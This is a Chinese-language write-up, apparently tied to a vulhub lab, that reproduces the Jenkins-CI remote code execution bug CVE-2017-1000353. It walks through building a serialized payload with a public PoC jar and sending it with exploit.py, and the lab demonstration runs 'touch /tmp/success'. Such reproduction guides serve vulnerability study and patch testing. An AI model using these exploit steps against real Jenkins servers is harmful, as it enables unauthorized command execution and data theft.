（CVE-2017-1000353）Jenkins-CI 远程代码执行漏洞
===============================================

一、漏洞简介
------------

该漏洞存在于使用HTTP协议的双向通信通道的具体实现代码中，Jenkins利用此通道来接收命令，恶意攻击者可以构造恶意攻击参数远程执行命令，从而获取系统权限，造成数据泄露。

二、漏洞影响
------------

所有Jenkins主版本均受到影响(包括\<=2.56版本)所有Jenkins LTS 均受到影响( 包括\<=2.46.1版本)

三、复现过程
------------

### 步骤一、生成序列化字符串

参考<https://github.com/ianxtianxt/CVE-2017-1000353>，首先下载[CVE-2017-1000353-1.1-SNAPSHOT-all.jar](https://github.com/ianxtianxt/CVE-2017-1000353/releases/download/1.1/CVE-2017-1000353-1.1-SNAPSHOT-all.jar)，这是生成POC的工具。

执行下面命令，生成字节码文件：

    java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"
    # jenkins_poc.ser是生成的字节码文件名
    # "touch ..."是待执行的任意命令

执行上述代码后，生成jenkins\_poc.ser文件，这就是序列化字符串。

### 步骤二、发送数据包，执行命令

下载[exploit.py](https://github.com/ianxtianxt/CVE-2017-1000353/blob/master/exploit.py)，python3执行`python exploit.py http://www.0-sec.org:8080 jenkins_poc.ser`，将刚才生成的字节码文件发送给目标：

![1.jpg](./resource/(CVE-2017-1000353)Jenkins-CI远程代码执行漏洞/media/rId29.jpg)

进入docker，发现`/tmp/success`成功被创建，说明命令执行漏洞利用成功：

![2.jpg](./resource/(CVE-2017-1000353)Jenkins-CI远程代码执行漏洞/media/rId30.jpg)

参考链接
--------

> https://vulhub.org/\#/environments/jenkins/CVE-2017-1000353/
